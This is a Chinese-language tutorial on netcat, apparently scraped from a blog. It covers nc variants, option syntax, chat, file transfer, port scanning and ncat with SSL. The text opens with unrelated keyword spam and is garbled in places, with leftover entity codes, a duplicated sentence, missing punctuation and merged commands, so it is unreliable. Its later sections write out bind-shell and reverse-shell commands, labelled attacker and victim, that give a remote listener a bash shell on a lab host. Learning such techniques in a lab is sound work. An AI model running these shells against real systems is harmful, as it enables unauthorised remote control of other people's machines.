社交类网站手机模版,广西住房与城乡建设厅网站,郑州seo网站关键词优化,一墨设计公司NC 简介 
Netcat 简称为nc#xff0c;中文名网猫#xff0c;被誉为网络工具中的瑞士军刀。具备以下功能#xff1a; 
侦听模式/传输模式telnet/获取 banner信息#xff08;当作telent工具使用#xff0c;甚至更好用#xff09;传输文本信息#xff08;可以作为聊天工具中文名网猫被誉为网络工具中的瑞士军刀。具备以下功能 
侦听模式/传输模式telnet/获取 banner信息当作telent工具使用甚至更好用传输文本信息可以作为聊天工具传输文件/目录加密传输文件远程控制/木马一般来说不会被查杀加密所有流量流媒体服务器远程克隆硬盘一般用作电子取证 
nc 有很多变种。不同的变种会在原有 nc 的基础上增加一些新功能。比较流行的变种之一是OpenBSD 社区的变种也叫“OpenBSD netcat”或“netcat-openbsd”这是由 OpenBSD 社区重写的 netcat主要增加了对“IPv6、proxy、Unix sockets”等功能的支持。很多主流 Linux 发行版的官方软件仓库已包含这个变种比如说Debian 家族、Arch 家族、openSUSE 家族、Gentoo 家族……。 
在nc - h的输出中如果第一行包含 OpenBSD 这个单词就说明当前 nc 是 OpenBSD 变种。 
netcat-traditional 这个是最早的版本最新版本是2007年1月版本是1.10Kali Linux默认带的就是这个版本 这个版本的nc具有-e选项十分方便反弹shell使用 
rootkali-linux:~# nc -h
[v1.10-41.1]netcat-openbsd ubuntu里默认的nc命令指向的是netcat-openbsd。这个版本因为考虑到安全性等原因没有-e选项。所以我们得手动替换一下nc的版本 
# 安装传统的netcat
$ sudo apt-get install netcat
# 切换版本
$ sudo update-alternatives --config nc
[sudo] sqlsec 的密码 
有 2 个候选项可用于替换 nc (提供 /bin/nc)。选择       路径               优先级  状态
------------------------------------------------------------0            /bin/nc.openbsd       50        自动模式1            /bin/nc.openbsd       50        手动模式
* 2            /bin/nc.traditional   10        手动模式
要维持当前值[*]请按回车键或者键入选择的编号2选项 
nc的命令是可以合写的命令行选项的【合写】形式 
nc -l -p 12345 -v
nc -l -p -v 12345
nc -lp 12345 -v
nc -lv -p 12345
nc -lvp 12345所有上面这些命令都是【等价】的。只要注意-p参数是一个需要带选项值的命令行选项而-v、-l参数则不需要带选项值。所以端口值一定要写在-p后面  
补充 使用nc时一般会加上-n因为nc自己去解析域名可能会比较慢所以自己去通过ping或者别的方式获得域名对应的ip之后再用nc。windows的下载地址http://nmap.org/dist/ncat-portable-5.59BETA1.zip 
不同操作系统或者说不同nc版本之间支持的功能不尽相同但是总可以通过别的方式曲线救国。 
案例 
这里介绍一些常用的 
telnet/获取 banner信息 传输文本信息 
聊天 
Anc -l -p 4444 Bnc -nv 1.1.1.1 4444 解释A使用-l参数告诉nc在本地去打开一个端口监听它使用-p告诉nc打开的端口号。于是nc在本地打开了一个4444端口等着有人来连接自己这里A就是类似服务端了。 
B去连接某ip的某端口不做域名解析显示详细连接过程。这里B类似客户端。  
信息传递 
CentOS把自己的ls结果传递到kali上面。  
这里有了一个问题假如CentOS使用了ps aux查看进程或者使用了nmap出现大量信息那kali的阅读体验会非常差劲可以在kali上使用重定向来解决  
再进一步优化使用-q参数让上面的内容完成传输之后的1秒大家就断开连接。由于CentOS上的nc不支持-q参数这里让kali作为服务端Cent作为客户端  
传输文件/目录 
下面的箭头可能会让人觉得非常混乱尤其是两种方式对比的时候。如何理解这些左右箭头我是这样记忆的作为发送端是要把文件通过本地监听的端口发送出去所以发送端的箭头是那么接收端就是 传输文件 接收端 Anc -lp 333  1.mp4 发送端 Bnc -nv 1.1.1.1 333  1.mp4 -q 1  
或者 发送端 Anc -q 1 -lp 333  1.mp4 接收端 Bnc -nv 1.1.1.1 333  1.mp4  
传输目录 发送端Atar -cvf - 文件夹/ | nc -lp 333 -q 1 接收端Bnc -nv 1.1.1.1 333 | tar -xvf -  
端口扫描 
很多扫描器都能做端口扫描但是准确性就不一定了。一般来说nmap的扫描结果较好nc的仅供参考。 在kali上使用 nc -nvz 192.168.40.133 1-65535去探测Metasploitable的1-65535端口-z参数就是端口探测默认使用TCP连接可以通过抓包看到细节。 
可以看到nc的端口扫描是从大到小一旦能建立起三次握手就发送FINACK断开连接然后扫描下一个端口  那么nc也可以使用UDP的方式做端口扫描就是加一个unc -nvzu 192.168.40.133 1-65535  
控制对方 
如果感觉下面的例子有些费神你就看谁给了bash谁把bash交出去谁就是被控制的 监听端口等着别人连自己的交服务器端主动连接别人的是客户端 
正向控制 
客户端A 【控制端】 nc -nv ip 333 服务器端B【被控制端】nc -lp 333 -c bash 上面的命令挺类似于使用nc聊天的命令所不同的是服务器端加了一个-c bash命令的意思是一旦有人来连接自己就把自己的一个bash传给对方如果是windows的话把bash换成cmd就行了  反向控制 
客户端A 【被控制端】nc –nv 192.168.40.150 333 -c bash 服务器端B【控制端】 nc -lp 333  
nc反弹shell 
需要目标主机安装了nc 
攻击者nc -lvp 4566受害者nc -e /bin/bash 192.168.239.128 4566攻击者nc -lvp 4444受害者nc -e /bin/sh 192.168.239.128 4444原理 
nc -e /bin/bash 192.168.239.128 4566 
-e prog 程序重定向一旦连接就执行这里的-e后面跟的参数代表的是在创建连接后执行的程序这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash)也就是反弹一个shell给远程可以看到远程已经成功反弹到了shell并且可以执行命令。 
其他 注意之前使用nc监听端口反弹shell时都会有一个警告192.168.239.130: inverse host lookup failed: Unknown host根据nc帮助文档的提示加上-n参数就可以不产生这个警告了-n参数代表在建立连接之前不对主机进行dns解析。  安全性 
nc缺乏加密和身份验证的能力。 当我在物理机类似中间人了通过抓包可以看到nc是明文传输的再者控制对方的时候没有身份验证安全性存在隐患  
解决办法是可以使用NcatNcat包含于nmap工具包中实现数据加密传输。 kali和Cent没有这个玩意这里我手动安装一下 
sudo apt-get install ncat	#kali
yum install nmap-ncat -y	#Cent客户端 【控制端】ncat -nv 192.168.40.150 333 --ssl 服务器端【被控制端】ncat -c bash --allow 192.168.40.146 -vnl 333 --ssl 还是那一套只不过这里使用了一个加密的管道ssl然后使用了白名单机制只允许192.168.40.146来连接我  
在物理机上类似中间人抓包抓到的是密文  
假设这个时候win7想过来连接Cent会发现他是连接不上的。  
补充windows是不需要额外下载的通过上面的提供的地址http://nmap.org/dist/ncat-portable-5.59BETA1.zip下载nc之后就能使用ncat不需要额外下载